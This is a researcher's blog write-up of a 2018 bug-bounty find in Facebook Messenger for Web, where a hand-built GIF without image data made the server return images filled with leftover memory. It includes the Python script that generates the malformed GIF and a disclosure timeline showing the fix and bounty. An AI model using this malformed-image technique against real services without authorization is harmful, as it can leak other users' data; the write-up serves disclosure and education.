

Facebook Messenger server random memory exposure through corrupted GIF image

Facebook Messenger server random memory exposure through corrupted GIF image - Dzmitry, Blogger.

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Content

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Intro

Year ago, in February 2018, I was testing Facebook Messenger for Android looking how it works with corrupted GIF images. I was inspired by Imagemagick "uninitialized memory disclosure in gif coder" bug and [PoC called "gifoeb"](#) (cool name for russian speakers). I found Messenger app only crashes with images generated by "gifoeb" tool with Nullpointer dereference (Facebook didn't awarded bounty for DoS in Facebook Messenger for Android).

Ok. I thought: what is GIF image format and how it looks, how I can generate my own image? (spoiler: 10K\$ bug in Facebook Messenger for Web, but theory first)

Basic GIF image

I found clear description of GIF image format, the main header should look like this:

Offset	Length	Contents
0	3 bytes	"GIF"
3	3 bytes	"87a" or "89a"
6	2 bytes	<Logical Screen Width>
8	2 bytes	<Logical Screen Height>
10	1 byte	bit 0: Global Color Table Flag (GCTF) bit 1..3: Color Resolution bit 4: Sort Flag to Global Color Table bit 5..7: Size of Global Color Table: $2^{(1+n)}$
11	1 byte	<Background Color Index>
12	1 byte	<Pixel Aspect Ratio>
13	? bytes	<Global Color Table(0..255 x 3 bytes) if GCTF is one> ? bytes <Blocks> 1 bytes <Trailer> (0x3b)

(Full good description here: <http://www.onicos.com/staff/iz/formats/gif.html#header>) I decided to create the basic GIF file with the minimal required fields.

Making own GIF

To create own GIF I've taken python to help me generate binary file

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import struct

screenWidth = 640
screenHeight = 480

f = open('test.gif', 'wb')

# Offset Length Contents
# 0 3 bytes "GIF"
# 3 3 bytes "87a" or "89a"
f.write(b"GIF89a")

# 6 2 bytes <Logical Screen Width>
f.write(struct.pack('<h', screenWidth))

# 8 2 bytes <Logical Screen Height>
f.write(struct.pack('<h', screenHeight))

# 10 1 byte bit 0: Global Color Table Flag (GCTF)
# bit 1..3: Color Resolution
# bit 4: Sort Flag to Global Color Table
# bit 5..7: Size of Global Color Table: 2^(1+n)
bits = int('00000010', 2)
f.write(struct.pack('<b', bits))

# 11 1 byte <Background Color Index>
f.write(struct.pack('<b', 0))

# 12 1 byte <Pixel Aspect Ratio>
f.write(struct.pack('<b', 1))

# 13 ? bytes <Global Color Table(0..255 x 3 bytes) if GCTF is one>

# ? bytes <Blocks>

# Offset Length Contents
# 0 1 byte Image Separator (0x2c)
f.write(struct.pack('<b', 0x2c))

# 1 2 bytes Image Left Position
f.write(struct.pack('<h', 0))

# 3 2 bytes Image Top Position
f.write(struct.pack('<h', 0))

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# 5    2 bytes Image Width
f.write(struct.pack('<h', screenWidth))

# 7    2 bytes Image Height
f.write(struct.pack('<h', screenHeight))

# 8    1 byte  bit 0:  Local Color Table Flag (LCTF)
#          bit 1:  Interlace Flag
#          bit 2:  Sort Flag
#          bit 2..3: Reserved
#          bit 4..7: Size of Local Color Table: 2^(1+n)
#          ? bytes Local Color Table(0..255 x 3 bytes) if LCTF is one
f.write(struct.pack('<b', int('00000100', 2)))

#      1 byte  LZW Minimum Code Size
#f.write(struct.pack('<b', 1))

# [ // Blocks
#      1 byte  Block Size (s)
#f.write(struct.pack('<b', 1))

#      (s)bytes Image Data
# ]*
#      1 byte  Block Terminator(0x00)
#f.write(struct.pack('<b', 0))

#      1 bytes <Trailer> (0x3b)

f.write(struct.pack('<b', 0x3b))

f.close()

```

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This script generates exactly the same image as we need. I left comments to see which headers we ignore in image, you can see that our GIF doesn't have image data blocks - it is empty, after color table flags goes trailer.

Facebook Messenger

I started to test Facebook Messenger for Android with my generated GIFs (I had variations with different sizes, header fields), but nothing happened... Until I opened Messenger web page on my laptop and saw this weird image:

| ! | | It was very small, increased size | |

Wait, but our GIF doesn't have any content, what image I have back from Facebook?

I had changed GIF size and saw this white noise image, hm, looks also weird:

| ! | | | No TV signal | |

Really strange. I've uploaded the same binary again and saw:

| ! | | | Embedded TV screen in Messenger | |

Image a bit changed. But I uploaded the same GIF in both cases.

After playing with GIF screen/image sizes:

| ! | | | Full screen picture | |

This reminds me situation when you tried to read image from file and used width instead of height.

Finally I caught this output:

| ! | | | Semi stable TV signal in Messenger caught | |

And I realized that I'm getting some previous buffer for GIF image, because my image doesn't have content body.

Timeline

26 FEB 2018: report sent to Facebook Team

01 MAR 2018: triaged

09 MAR 2018: fixed

21 MAR 2018: 10k\$